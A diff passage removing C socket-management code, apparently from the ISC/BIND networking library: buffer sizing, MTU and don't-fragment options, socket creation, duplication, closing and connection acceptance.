-#endif /* ifdef SO_RCVBUF */
-
-#if defined(SET_SNDBUF)
-static isc_once_t sndbuf_once = ISC_ONCE_INIT;
-static int sndbuf = ISC_SEND_BUFFER_SIZE;
-
-static void
-set_sndbuf(void) {
-	int fd;
-	int max = sndbuf, min;
-	socklen_t len;
-
-	fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
-	if (fd == -1) {
-		switch (errno) {
-		case EPROTONOSUPPORT:
-		case EPFNOSUPPORT:
-		case EAFNOSUPPORT:
-		/*
-		 * Linux 2.2 (and maybe others) return EINVAL instead of
-		 * EAFNOSUPPORT.
-		 */
-		case EINVAL:
-			fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
-			break;
-		}
-	}
-	if (fd == -1) {
-		return;
-	}
-
-	len = sizeof(min);
-	if (getsockopt(fd, SOL_SOCKET, SO_SNDBUF, (void *)&min, &len) == 0 &&
-	    min < sndbuf)
-	{
-	again:
-		if (setsockopt(fd, SOL_SOCKET, SO_SNDBUF, (void *)&sndbuf,
-			       sizeof(sndbuf)) == -1)
-		{
-			if (errno == ENOBUFS && sndbuf > min) {
-				max = sndbuf - 1;
-				sndbuf = (sndbuf + min) / 2;
-				goto again;
-			} else {
-				sndbuf = min;
-				goto cleanup;
-			}
-		} else {
-			min = sndbuf;
-		}
-		if (min != max) {
-			sndbuf = max;
-			goto again;
-		}
-	}
-cleanup:
-	close(fd);
-}
-#endif /* ifdef SO_SNDBUF */
-
-static void
-use_min_mtu(isc_socket_t *sock) {
-#if !defined(IPV6_USE_MIN_MTU) && !defined(IPV6_MTU)
-	UNUSED(sock);
-#endif /* if !defined(IPV6_USE_MIN_MTU) && !defined(IPV6_MTU) */
-#ifdef IPV6_USE_MIN_MTU
-	/* use minimum MTU */
-	if (sock->pf == AF_INET6) {
-		int on = 1;
-		(void)setsockopt(sock->fd, IPPROTO_IPV6, IPV6_USE_MIN_MTU,
-				 (void *)&on, sizeof(on));
-	}
-#endif /* ifdef IPV6_USE_MIN_MTU */
-#if defined(IPV6_MTU)
-	/*
-	 * Use minimum MTU on IPv6 sockets.
-	 */
-	if (sock->pf == AF_INET6) {
-		int mtu = 1280;
-		(void)setsockopt(sock->fd, IPPROTO_IPV6, IPV6_MTU, &mtu,
-				 sizeof(mtu));
-	}
-#endif /* if defined(IPV6_MTU) */
-}
-
-static void
-set_tcp_maxseg(isc_socket_t *sock, int size) {
-#ifdef TCP_MAXSEG
-	if (sock->type == isc_sockettype_tcp) {
-		(void)setsockopt(sock->fd, IPPROTO_TCP, TCP_MAXSEG,
-				 (void *)&size, sizeof(size));
-	}
-#endif /* ifdef TCP_MAXSEG */
-}
-
-static void
-set_ip_dontfrag(isc_socket_t *sock) {
-	/*
-	 * Set the Don't Fragment flag on IP packets
-	 */
-	if (sock->pf == AF_INET6) {
-#if defined(IPV6_DONTFRAG)
-		(void)setsockopt(sock->fd, IPPROTO_IPV6, IPV6_DONTFRAG,
-				 &(int){ 1 }, sizeof(int));
-#endif
-#if defined(IPV6_MTU_DISCOVER)
-		(void)setsockopt(sock->fd, IPPROTO_IPV6, IPV6_MTU_DISCOVER,
-				 &(int){ IP_PMTUDISC_DO }, sizeof(int));
-#endif
-	} else if (sock->pf == AF_INET) {
-#if defined(IP_DONTFRAG)
-		(void)setsockopt(sock->fd, IPPROTO_IP, IP_DONTFRAG, &(int){ 1 },
-				 sizeof(int));
-#endif
-#if defined(IP_MTU_DISCOVER)
-		(void)setsockopt(sock->fd, IPPROTO_IP, IP_MTU_DISCOVER,
-				 &(int){ IP_PMTUDISC_DO }, sizeof(int));
-#endif
-	}
-}
-
-static isc_result_t
-opensocket(isc_socketmgr_t *manager, isc_socket_t *sock,
-	   isc_socket_t *dup_socket) {
-	isc_result_t result;
-	char strbuf[ISC_STRERRORSIZE];
-	const char *err = "socket";
-	int tries = 0;
-#if defined(USE_CMSG) || defined(SO_NOSIGPIPE)
-	int on = 1;
-#endif /* if defined(USE_CMSG) || defined(SO_NOSIGPIPE) */
-#if defined(SET_RCVBUF) || defined(SET_SNDBUF)
-	socklen_t optlen;
-	int size = 0;
-#endif
-
-again:
-	if (dup_socket == NULL) {
-		switch (sock->type) {
-		case isc_sockettype_udp:
-			sock->fd = socket(sock->pf, SOCK_DGRAM, IPPROTO_UDP);
-			break;
-		case isc_sockettype_tcp:
-			sock->fd = socket(sock->pf, SOCK_STREAM, IPPROTO_TCP);
-			break;
-		case isc_sockettype_unix:
-			sock->fd = socket(sock->pf, SOCK_STREAM, 0);
-			break;
-		case isc_sockettype_raw:
-			errno = EPFNOSUPPORT;
-			/*
-			 * PF_ROUTE is a alias for PF_NETLINK on linux.
-			 */
-#if defined(PF_ROUTE)
-			if (sock->fd == -1 && sock->pf == PF_ROUTE) {
-#ifdef NETLINK_ROUTE
-				sock->fd = socket(sock->pf, SOCK_RAW,
-						  NETLINK_ROUTE);
-#else  /* ifdef NETLINK_ROUTE */
-				sock->fd = socket(sock->pf, SOCK_RAW, 0);
-#endif /* ifdef NETLINK_ROUTE */
-				if (sock->fd != -1) {
-#ifdef NETLINK_ROUTE
-					struct sockaddr_nl sa;
-					int n;
-
-					/*
-					 * Do an implicit bind.
-					 */
-					memset(&sa, 0, sizeof(sa));
-					sa.nl_family = AF_NETLINK;
-					sa.nl_groups = RTMGRP_IPV4_IFADDR |
-						       RTMGRP_IPV6_IFADDR;
-					n = bind(sock->fd,
-						 (struct sockaddr *)&sa,
-						 sizeof(sa));
-					if (n < 0) {
-						close(sock->fd);
-						sock->fd = -1;
-					}
-#endif /* ifdef NETLINK_ROUTE */
-					sock->bound = 1;
-				}
-			}
-#endif /* if defined(PF_ROUTE) */
-			break;
-		}
-	} else {
-		sock->fd = dup(dup_socket->fd);
-		sock->dupped = 1;
-		sock->bound = dup_socket->bound;
-	}
-	if (sock->fd == -1 && errno == EINTR && tries++ < 42) {
-		goto again;
-	}
-
-#ifdef F_DUPFD
-	/*
-	 * Leave a space for stdio and TCP to work in.
-	 */
-	if (manager->reserved != 0 && sock->type == isc_sockettype_udp &&
-	    sock->fd >= 0 && sock->fd < manager->reserved)
-	{
-		int newfd, tmp;
-		newfd = fcntl(sock->fd, F_DUPFD, manager->reserved);
-		tmp = errno;
-		(void)close(sock->fd);
-		errno = tmp;
-		sock->fd = newfd;
-		err = "isc_socket_create: fcntl/reserved";
-	} else if (sock->fd >= 0 && sock->fd < 20) {
-		int newfd, tmp;
-		newfd = fcntl(sock->fd, F_DUPFD, 20);
-		tmp = errno;
-		(void)close(sock->fd);
-		errno = tmp;
-		sock->fd = newfd;
-		err = "isc_socket_create: fcntl";
-	}
-#endif /* ifdef F_DUPFD */
-
-	if (sock->fd >= (int)manager->maxsocks) {
-		(void)close(sock->fd);
-		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-			      ISC_LOGMODULE_SOCKET, ISC_LOG_ERROR,
-			      "socket: file descriptor exceeds limit (%d/%u)",
-			      sock->fd, manager->maxsocks);
-		inc_stats(manager->stats, sock->statsindex[STATID_OPENFAIL]);
-		return (ISC_R_NORESOURCES);
-	}
-
-	if (sock->fd < 0) {
-		switch (errno) {
-		case EMFILE:
-		case ENFILE:
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-				      ISC_LOGMODULE_SOCKET, ISC_LOG_ERROR,
-				      "%s: %s", err, strbuf);
-		/* fallthrough */
-		case ENOBUFS:
-			inc_stats(manager->stats,
-				  sock->statsindex[STATID_OPENFAIL]);
-			return (ISC_R_NORESOURCES);
-
-		case EPROTONOSUPPORT:
-		case EPFNOSUPPORT:
-		case EAFNOSUPPORT:
-		/*
-		 * Linux 2.2 (and maybe others) return EINVAL instead of
-		 * EAFNOSUPPORT.
-		 */
-		case EINVAL:
-			inc_stats(manager->stats,
-				  sock->statsindex[STATID_OPENFAIL]);
-			return (ISC_R_FAMILYNOSUPPORT);
-
-		default:
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			UNEXPECTED_ERROR(__FILE__, __LINE__, "%s() failed: %s",
-					 err, strbuf);
-			inc_stats(manager->stats,
-				  sock->statsindex[STATID_OPENFAIL]);
-			return (ISC_R_UNEXPECTED);
-		}
-	}
-
-	if (dup_socket != NULL) {
-		goto setup_done;
-	}
-
-	result = make_nonblock(sock->fd);
-	if (result != ISC_R_SUCCESS) {
-		(void)close(sock->fd);
-		inc_stats(manager->stats, sock->statsindex[STATID_OPENFAIL]);
-		return (result);
-	}
-
-#ifdef SO_NOSIGPIPE
-	if (setsockopt(sock->fd, SOL_SOCKET, SO_NOSIGPIPE, (void *)&on,
-		       sizeof(on)) < 0) {
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "setsockopt(%d, SO_NOSIGPIPE) failed: %s",
-				 sock->fd, strbuf);
-		/* Press on... */
-	}
-#endif /* ifdef SO_NOSIGPIPE */
-
-	/*
-	 * Use minimum mtu if possible.
-	 */
-	if (sock->type == isc_sockettype_tcp && sock->pf == AF_INET6) {
-		use_min_mtu(sock);
-		set_tcp_maxseg(sock, 1280 - 20 - 40); /* 1280 - TCP - IPV6 */
-	}
-
-#if defined(USE_CMSG) || defined(SET_RCVBUF) || defined(SET_SNDBUF)
-	if (sock->type == isc_sockettype_udp) {
-#if defined(USE_CMSG)
-#if defined(SO_TIMESTAMP)
-		if (setsockopt(sock->fd, SOL_SOCKET, SO_TIMESTAMP, (void *)&on,
-			       sizeof(on)) < 0 &&
-		    errno != ENOPROTOOPT)
-		{
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "setsockopt(%d, SO_TIMESTAMP) failed: "
-					 "%s",
-					 sock->fd, strbuf);
-			/* Press on... */
-		}
-#endif /* SO_TIMESTAMP */
-
-#ifdef IPV6_RECVPKTINFO
-		/* RFC 3542 */
-		if ((sock->pf == AF_INET6) &&
-		    (setsockopt(sock->fd, IPPROTO_IPV6, IPV6_RECVPKTINFO,
-				(void *)&on, sizeof(on)) < 0))
-		{
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "setsockopt(%d, IPV6_RECVPKTINFO) "
-					 "failed: %s",
-					 sock->fd, strbuf);
-		}
-#else  /* ifdef IPV6_RECVPKTINFO */
-		/* RFC 2292 */
-		if ((sock->pf == AF_INET6) &&
-		    (setsockopt(sock->fd, IPPROTO_IPV6, IPV6_PKTINFO,
-				(void *)&on, sizeof(on)) < 0))
-		{
-			strerror_r(errno, strbuf, sizeof(strbuf));
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "setsockopt(%d, IPV6_PKTINFO) failed: "
-					 "%s",
-					 sock->fd, strbuf);
-		}
-#endif /* IPV6_RECVPKTINFO */
-#endif /* defined(USE_CMSG) */
-
-#if defined(SET_RCVBUF)
-		optlen = sizeof(size);
-		if (getsockopt(sock->fd, SOL_SOCKET, SO_RCVBUF, (void *)&size,
-			       &optlen) == 0 &&
-		    size < rcvbuf)
-		{
-			RUNTIME_CHECK(isc_once_do(&rcvbuf_once, set_rcvbuf) ==
-				      ISC_R_SUCCESS);
-			if (setsockopt(sock->fd, SOL_SOCKET, SO_RCVBUF,
-				       (void *)&rcvbuf, sizeof(rcvbuf)) == -1)
-			{
-				strerror_r(errno, strbuf, sizeof(strbuf));
-				UNEXPECTED_ERROR(__FILE__, __LINE__,
-						 "setsockopt(%d, SO_RCVBUF, "
-						 "%d) failed: %s",
-						 sock->fd, rcvbuf, strbuf);
-			}
-		}
-#endif /* if defined(SET_RCVBUF) */
-
-#if defined(SET_SNDBUF)
-		optlen = sizeof(size);
-		if (getsockopt(sock->fd, SOL_SOCKET, SO_SNDBUF, (void *)&size,
-			       &optlen) == 0 &&
-		    size < sndbuf)
-		{
-			RUNTIME_CHECK(isc_once_do(&sndbuf_once, set_sndbuf) ==
-				      ISC_R_SUCCESS);
-			if (setsockopt(sock->fd, SOL_SOCKET, SO_SNDBUF,
-				       (void *)&sndbuf, sizeof(sndbuf)) == -1)
-			{
-				strerror_r(errno, strbuf, sizeof(strbuf));
-				UNEXPECTED_ERROR(__FILE__, __LINE__,
-						 "setsockopt(%d, SO_SNDBUF, "
-						 "%d) failed: %s",
-						 sock->fd, sndbuf, strbuf);
-			}
-		}
-#endif /* if defined(SO_SNDBUF) */
-	}
-#ifdef IPV6_RECVTCLASS
-	if ((sock->pf == AF_INET6) &&
-	    (setsockopt(sock->fd, IPPROTO_IPV6, IPV6_RECVTCLASS, (void *)&on,
-			sizeof(on)) < 0))
-	{
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "setsockopt(%d, IPV6_RECVTCLASS) "
-				 "failed: %s",
-				 sock->fd, strbuf);
-	}
-#endif /* ifdef IPV6_RECVTCLASS */
-#ifdef IP_RECVTOS
-	if ((sock->pf == AF_INET) &&
-	    (setsockopt(sock->fd, IPPROTO_IP, IP_RECVTOS, (void *)&on,
-			sizeof(on)) < 0))
-	{
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "setsockopt(%d, IP_RECVTOS) "
-				 "failed: %s",
-				 sock->fd, strbuf);
-	}
-#endif /* ifdef IP_RECVTOS */
-#endif /* defined(USE_CMSG) || defined(SET_RCVBUF) || defined(SET_SNDBUF) */
-
-	set_ip_dontfrag(sock);
-
-setup_done:
-	inc_stats(manager->stats, sock->statsindex[STATID_OPEN]);
-	if (sock->active == 0) {
-		inc_stats(manager->stats, sock->statsindex[STATID_ACTIVE]);
-		sock->active = 1;
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-/*
- * Create a 'type' socket or duplicate an existing socket, managed
- * by 'manager'.  Events will be posted to 'task' and when dispatched
- * 'action' will be called with 'arg' as the arg value.  The new
- * socket is returned in 'socketp'.
- */
-static isc_result_t
-socket_create(isc_socketmgr_t *manager, int pf, isc_sockettype_t type,
-	      isc_socket_t **socketp, isc_socket_t *dup_socket) {
-	isc_socket_t *sock = NULL;
-	isc__socketthread_t *thread;
-	isc_result_t result;
-	int lockid;
-
-	REQUIRE(VALID_MANAGER(manager));
-	REQUIRE(socketp != NULL && *socketp == NULL);
-
-	result = allocate_socket(manager, type, &sock);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	switch (sock->type) {
-	case isc_sockettype_udp:
-		sock->statsindex = (pf == AF_INET) ? udp4statsindex
-						   : udp6statsindex;
-#define DCSPPKT(pf) ((pf == AF_INET) ? ISC_NET_DSCPPKTV4 : ISC_NET_DSCPPKTV6)
-		sock->pktdscp = (isc_net_probedscp() & DCSPPKT(pf)) != 0;
-		break;
-	case isc_sockettype_tcp:
-		sock->statsindex = (pf == AF_INET) ? tcp4statsindex
-						   : tcp6statsindex;
-		break;
-	case isc_sockettype_unix:
-		sock->statsindex = unixstatsindex;
-		break;
-	case isc_sockettype_raw:
-		sock->statsindex = rawstatsindex;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	sock->pf = pf;
-
-	result = opensocket(manager, sock, dup_socket);
-	if (result != ISC_R_SUCCESS) {
-		free_socket(&sock);
-		return (result);
-	}
-
-	if (sock->fd == -1) {
-		abort();
-	}
-	sock->threadid = gen_threadid(sock);
-	isc_refcount_increment0(&sock->references);
-	thread = &manager->threads[sock->threadid];
-	*socketp = sock;
-
-	/*
-	 * Note we don't have to lock the socket like we normally would because
-	 * there are no external references to it yet.
-	 */
-
-	lockid = FDLOCK_ID(sock->fd);
-	LOCK(&thread->fdlock[lockid]);
-	thread->fds[sock->fd] = sock;
-	thread->fdstate[sock->fd] = MANAGED;
-#if defined(USE_EPOLL)
-	thread->epoll_events[sock->fd] = 0;
-#endif /* if defined(USE_EPOLL) */
-#ifdef USE_DEVPOLL
-	INSIST(thread->fdpollinfo[sock->fd].want_read == 0 &&
-	       thread->fdpollinfo[sock->fd].want_write == 0);
-#endif /* ifdef USE_DEVPOLL */
-	UNLOCK(&thread->fdlock[lockid]);
-
-	LOCK(&manager->lock);
-	ISC_LIST_APPEND(manager->socklist, sock, link);
-#ifdef USE_SELECT
-	if (thread->maxfd < sock->fd) {
-		thread->maxfd = sock->fd;
-	}
-#endif /* ifdef USE_SELECT */
-	UNLOCK(&manager->lock);
-
-	socket_log(sock, NULL, CREATION,
-		   dup_socket != NULL ? "dupped" : "created");
-
-	return (ISC_R_SUCCESS);
-}
-
-/*%
- * Create a new 'type' socket managed by 'manager'.  Events
- * will be posted to 'task' and when dispatched 'action' will be
- * called with 'arg' as the arg value.  The new socket is returned
- * in 'socketp'.
- */
-isc_result_t
-isc_socket_create(isc_socketmgr_t *manager0, int pf, isc_sockettype_t type,
-		  isc_socket_t **socketp) {
-	return (socket_create(manager0, pf, type, socketp, NULL));
-}
-
-/*%
- * Duplicate an existing socket.  The new socket is returned
- * in 'socketp'.
- */
-isc_result_t
-isc_socket_dup(isc_socket_t *sock, isc_socket_t **socketp) {
-	REQUIRE(VALID_SOCKET(sock));
-	REQUIRE(socketp != NULL && *socketp == NULL);
-
-	return (socket_create(sock->manager, sock->pf, sock->type, socketp,
-			      sock));
-}
-
-isc_result_t
-isc_socket_open(isc_socket_t *sock) {
-	isc_result_t result;
-	isc__socketthread_t *thread;
-
-	REQUIRE(VALID_SOCKET(sock));
-
-	LOCK(&sock->lock);
-
-	REQUIRE(isc_refcount_current(&sock->references) >= 1);
-	REQUIRE(sock->fd == -1);
-	REQUIRE(sock->threadid == -1);
-
-	result = opensocket(sock->manager, sock, NULL);
-
-	UNLOCK(&sock->lock);
-
-	if (result != ISC_R_SUCCESS) {
-		sock->fd = -1;
-	} else {
-		sock->threadid = gen_threadid(sock);
-		thread = &sock->manager->threads[sock->threadid];
-		int lockid = FDLOCK_ID(sock->fd);
-
-		LOCK(&thread->fdlock[lockid]);
-		thread->fds[sock->fd] = sock;
-		thread->fdstate[sock->fd] = MANAGED;
-#if defined(USE_EPOLL)
-		thread->epoll_events[sock->fd] = 0;
-#endif /* if defined(USE_EPOLL) */
-#ifdef USE_DEVPOLL
-		INSIST(thread->fdpollinfo[sock->fd].want_read == 0 &&
-		       thread->fdpollinfo[sock->fd].want_write == 0);
-#endif /* ifdef USE_DEVPOLL */
-		UNLOCK(&thread->fdlock[lockid]);
-
-#ifdef USE_SELECT
-		LOCK(&sock->manager->lock);
-		if (thread->maxfd < sock->fd) {
-			thread->maxfd = sock->fd;
-		}
-		UNLOCK(&sock->manager->lock);
-#endif /* ifdef USE_SELECT */
-	}
-
-	return (result);
-}
-
-/*
- * Attach to a socket.  Caller must explicitly detach when it is done.
- */
-void
-isc_socket_attach(isc_socket_t *sock, isc_socket_t **socketp) {
-	REQUIRE(VALID_SOCKET(sock));
-	REQUIRE(socketp != NULL && *socketp == NULL);
-
-	int old_refs = isc_refcount_increment(&sock->references);
-	REQUIRE(old_refs > 0);
-
-	*socketp = sock;
-}
-
-/*
- * Dereference a socket.  If this is the last reference to it, clean things
- * up by destroying the socket.
- */
-void
-isc_socket_detach(isc_socket_t **socketp) {
-	isc_socket_t *sock;
-
-	REQUIRE(socketp != NULL);
-	sock = *socketp;
-	REQUIRE(VALID_SOCKET(sock));
-	if (isc_refcount_decrement(&sock->references) == 1) {
-		destroy(&sock);
-	}
-
-	*socketp = NULL;
-}
-
-isc_result_t
-isc_socket_close(isc_socket_t *sock) {
-	int fd;
-	isc_socketmgr_t *manager;
-	isc__socketthread_t *thread;
-	fflush(stdout);
-	REQUIRE(VALID_SOCKET(sock));
-
-	LOCK(&sock->lock);
-
-	REQUIRE(sock->fd >= 0 && sock->fd < (int)sock->manager->maxsocks);
-
-	INSIST(!sock->connecting);
-	INSIST(ISC_LIST_EMPTY(sock->recv_list));
-	INSIST(ISC_LIST_EMPTY(sock->send_list));
-	INSIST(ISC_LIST_EMPTY(sock->accept_list));
-	INSIST(ISC_LIST_EMPTY(sock->connect_list));
-
-	manager = sock->manager;
-	thread = &manager->threads[sock->threadid];
-	fd = sock->fd;
-	sock->fd = -1;
-	sock->threadid = -1;
-
-	sock->dupped = 0;
-	memset(sock->name, 0, sizeof(sock->name));
-	sock->tag = NULL;
-	sock->listener = 0;
-	sock->connected = 0;
-	sock->connecting = 0;
-	sock->bound = 0;
-	isc_sockaddr_any(&sock->peer_address);
-
-	UNLOCK(&sock->lock);
-
-	socketclose(thread, sock, fd);
-
-	return (ISC_R_SUCCESS);
-}
-
-/*
- * Dequeue an item off the given socket's read queue, set the result code
- * in the done event to the one provided, and send it to the task it was
- * destined for.
- *
- * If the event to be sent is on a list, remove it before sending.  If
- * asked to, send and detach from the socket as well.
- *
- * Caller must have the socket locked if the event is attached to the socket.
- */
-static void
-send_recvdone_event(isc_socket_t *sock, isc_socketevent_t **dev) {
-	isc_task_t *task;
-
-	task = (*dev)->ev_sender;
-
-	(*dev)->ev_sender = sock;
-
-	if (ISC_LINK_LINKED(*dev, ev_link)) {
-		ISC_LIST_DEQUEUE(sock->recv_list, *dev, ev_link);
-	}
-
-	if (((*dev)->attributes & ISC_SOCKEVENTATTR_ATTACHED) != 0) {
-		isc_task_sendtoanddetach(&task, (isc_event_t **)dev,
-					 sock->threadid);
-	} else {
-		isc_task_sendto(task, (isc_event_t **)dev, sock->threadid);
-	}
-}
-
-/*
- * See comments for send_recvdone_event() above.
- *
- * Caller must have the socket locked if the event is attached to the socket.
- */
-static void
-send_senddone_event(isc_socket_t *sock, isc_socketevent_t **dev) {
-	isc_task_t *task;
-
-	INSIST(dev != NULL && *dev != NULL);
-
-	task = (*dev)->ev_sender;
-	(*dev)->ev_sender = sock;
-
-	if (ISC_LINK_LINKED(*dev, ev_link)) {
-		ISC_LIST_DEQUEUE(sock->send_list, *dev, ev_link);
-	}
-
-	if (((*dev)->attributes & ISC_SOCKEVENTATTR_ATTACHED) != 0) {
-		isc_task_sendtoanddetach(&task, (isc_event_t **)dev,
-					 sock->threadid);
-	} else {
-		isc_task_sendto(task, (isc_event_t **)dev, sock->threadid);
-	}
-}
-
-/*
- * See comments for send_recvdone_event() above.
- *
- * Caller must have the socket locked if the event is attached to the socket.
- */
-static void
-send_connectdone_event(isc_socket_t *sock, isc_socket_connev_t **dev) {
-	isc_task_t *task;
-
-	INSIST(dev != NULL && *dev != NULL);
-
-	task = (*dev)->ev_sender;
-	(*dev)->ev_sender = sock;
-
-	if (ISC_LINK_LINKED(*dev, ev_link)) {
-		ISC_LIST_DEQUEUE(sock->connect_list, *dev, ev_link);
-	}
-
-	isc_task_sendtoanddetach(&task, (isc_event_t **)dev, sock->threadid);
-}
-
-/*
- * Call accept() on a socket, to get the new file descriptor.  The listen
- * socket is used as a prototype to create a new isc_socket_t.  The new
- * socket has one outstanding reference.  The task receiving the event
- * will be detached from just after the event is delivered.
- *
- * On entry to this function, the event delivered is the internal
- * readable event, and the first item on the accept_list should be
- * the done event we want to send.  If the list is empty, this is a no-op,
- * so just unlock and return.
- */
-static void
-internal_accept(isc_socket_t *sock) {
-	isc_socketmgr_t *manager;
-	isc__socketthread_t *thread, *nthread;
-	isc_socket_newconnev_t *dev;
-	isc_task_t *task;
-	socklen_t addrlen;
-	int fd;
-	isc_result_t result = ISC_R_SUCCESS;
-	char strbuf[ISC_STRERRORSIZE];
-	const char *err = "accept";
-
-	INSIST(VALID_SOCKET(sock));
-	REQUIRE(sock->fd >= 0);
-
-	socket_log(sock, NULL, TRACE, "internal_accept called, locked socket");
-
-	manager = sock->manager;
-	INSIST(VALID_MANAGER(manager));
-	thread = &manager->threads[sock->threadid];
-
-	INSIST(sock->listener);
-
-	/*
-	 * Get the first item off the accept list.
-	 * If it is empty, unlock the socket and return.
-	 */
-	dev = ISC_LIST_HEAD(sock->accept_list);
-	if (dev == NULL) {
-		unwatch_fd(thread, sock->fd, SELECT_POKE_ACCEPT);
-		UNLOCK(&sock->lock);
-		return;
-	}
-
-	/*
-	 * Try to accept the new connection.  If the accept fails with
-	 * EAGAIN or EINTR, simply poke the watcher to watch this socket
-	 * again.  Also ignore ECONNRESET, which has been reported to
-	 * be spuriously returned on Linux 2.2.19 although it is not
-	 * a documented error for accept().  ECONNABORTED has been
-	 * reported for Solaris 8.  The rest are thrown in not because
-	 * we have seen them but because they are ignored by other
-	 * daemons such as BIND 8 and Apache.
-	 */
-
-	addrlen = sizeof(NEWCONNSOCK(dev)->peer_address.type);
-	memset(&NEWCONNSOCK(dev)->peer_address.type, 0, addrlen);
-	fd = accept(sock->fd, &NEWCONNSOCK(dev)->peer_address.type.sa,
-		    (void *)&addrlen);
-
-#ifdef F_DUPFD
-	/*
-	 * Leave a space for stdio to work in.
-	 */
-	if (fd >= 0 && fd < 20) {
-		int newfd, tmp;
-		newfd = fcntl(fd, F_DUPFD, 20);
-		tmp = errno;
-		(void)close(fd);
-		errno = tmp;
-		fd = newfd;
-		err = "accept/fcntl";
-	}
-#endif /* ifdef F_DUPFD */
-
-	if (fd < 0) {
-		if (SOFT_ERROR(errno)) {
-			goto soft_error;
-		}
-		switch (errno) {
-		case ENFILE:
-		case EMFILE:
-			isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-				      ISC_LOGMODULE_SOCKET, ISC_LOG_ERROR,
-				      "%s: too many open file descriptors",
-				      err);
-			goto soft_error;
-
-		case ENOBUFS:
-		case ENOMEM:
-		case ECONNRESET:
-		case ECONNABORTED:
-		case EHOSTUNREACH:
-		case EHOSTDOWN:
-		case ENETUNREACH:
-		case ENETDOWN:
-		case ECONNREFUSED:
-#ifdef EPROTO
-		case EPROTO:
-#endif /* ifdef EPROTO */
-#ifdef ENONET
-		case ENONET:
-#endif /* ifdef ENONET */
-			goto soft_error;
-		default:
-			break;
-		}
-		strerror_r(errno, strbuf, sizeof(strbuf));
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "internal_accept: %s() failed: %s", err,
-				 strbuf);
-		fd = -1;
-		result = ISC_R_UNEXPECTED;
-	} else {
-		if (addrlen == 0U) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "internal_accept(): "
-					 "accept() failed to return "
-					 "remote address");
-
-			(void)close(fd);
-			goto soft_error;
-		} else if (NEWCONNSOCK(dev)->peer_address.type.sa.sa_family !=
-			   sock->pf) {
-			UNEXPECTED_ERROR(
-				__FILE__, __LINE__,
-				"internal_accept(): "
-				"accept() returned peer address "
-				"family %u (expected %u)",
-				NEWCONNSOCK(dev)->peer_address.type.sa.sa_family,
-				sock->pf);
-			(void)close(fd);
-			goto soft_error;
-		} else if (fd >= (int)manager->maxsocks) {
-			isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-				      ISC_LOGMODULE_SOCKET, ISC_LOG_ERROR,
-				      "accept: file descriptor exceeds limit "
-				      "(%d/%u)",
-				      fd, manager->maxsocks);
-			(void)close(fd);
-			goto soft_error;
-		}
-	}
-
-	if (fd != -1) {
-		NEWCONNSOCK(dev)->peer_address.length = addrlen;
-		NEWCONNSOCK(dev)->pf = sock->pf;
-	}
-
-	/*
-	 * Pull off the done event.
-	 */
-	ISC_LIST_UNLINK(sock->accept_list, dev, ev_link);
-
-	/*
-	 * Poke watcher if there are more pending accepts.
-	 */
-	if (ISC_LIST_EMPTY(sock->accept_list)) {
-		unwatch_fd(thread, sock->fd, SELECT_POKE_ACCEPT);
-	}
-
-	if (fd != -1) {
-		result = make_nonblock(fd);
-		if (result != ISC_R_SUCCESS) {
-			(void)close(fd);
-			fd = -1;
-		}
-	}
-
-	/*
-	 * We need to unlock sock->lock now to be able to lock manager->lock
-	 * without risking a deadlock with xmlstats.
-	 */
-	UNLOCK(&sock->lock);
-
-	/*
-	 * -1 means the new socket didn't happen.
-	 */
-	if (fd != -1) {
-		int lockid = FDLOCK_ID(fd);
-
-		NEWCONNSOCK(dev)->fd = fd;
-		NEWCONNSOCK(dev)->threadid = gen_threadid(NEWCONNSOCK(dev));
-		NEWCONNSOCK(dev)->bound = 1;
-		NEWCONNSOCK(dev)->connected = 1;
-		nthread = &manager->threads[NEWCONNSOCK(dev)->threadid];
-
-		/*
-		 * We already hold a lock on one fdlock in accepting thread,
-		 * we need to make sure that we don't double lock.
-		 */
-		bool same_bucket = (sock->threadid ==
-				    NEWCONNSOCK(dev)->threadid) &&
-				   (FDLOCK_ID(sock->fd) == lockid);
-
-		/*
-		 * Use minimum mtu if possible.
-		 */
-		use_min_mtu(NEWCONNSOCK(dev));
-		set_tcp_maxseg(NEWCONNSOCK(dev), 1280 - 20 - 40);
-
-		/*
-		 * Ensure DSCP settings are inherited across accept.
-		 */
-		setdscp(NEWCONNSOCK(dev), sock->dscp);
-
-		/*
-		 * Save away the remote address
-		 */
-		dev->address = NEWCONNSOCK(dev)->peer_address;
-
-		if (NEWCONNSOCK(dev)->active == 0) {
-			inc_stats(manager->stats,
-				  NEWCONNSOCK(dev)->statsindex[STATID_ACTIVE]);
-			NEWCONNSOCK(dev)->active = 1;
-		}
-
-		if (!same_bucket) {
-			LOCK(&nthread->fdlock[lockid]);
-		}
-		nthread->fds[fd] = NEWCONNSOCK(dev);
-		nthread->fdstate[fd] = MANAGED;
-#if defined(USE_EPOLL)
-		nthread->epoll_events[fd] = 0;
-#endif /* if defined(USE_EPOLL) */
-		if (!same_bucket) {
-			UNLOCK(&nthread->fdlock[lockid]);
-		}
-
-		LOCK(&manager->lock);
-
-#ifdef USE_SELECT
-		if (nthread->maxfd < fd) {
-			nthread->maxfd = fd;
-		}
-#endif /* ifdef USE_SELECT */
-
-		socket_log(sock, &NEWCONNSOCK(dev)->peer_address, CREATION,
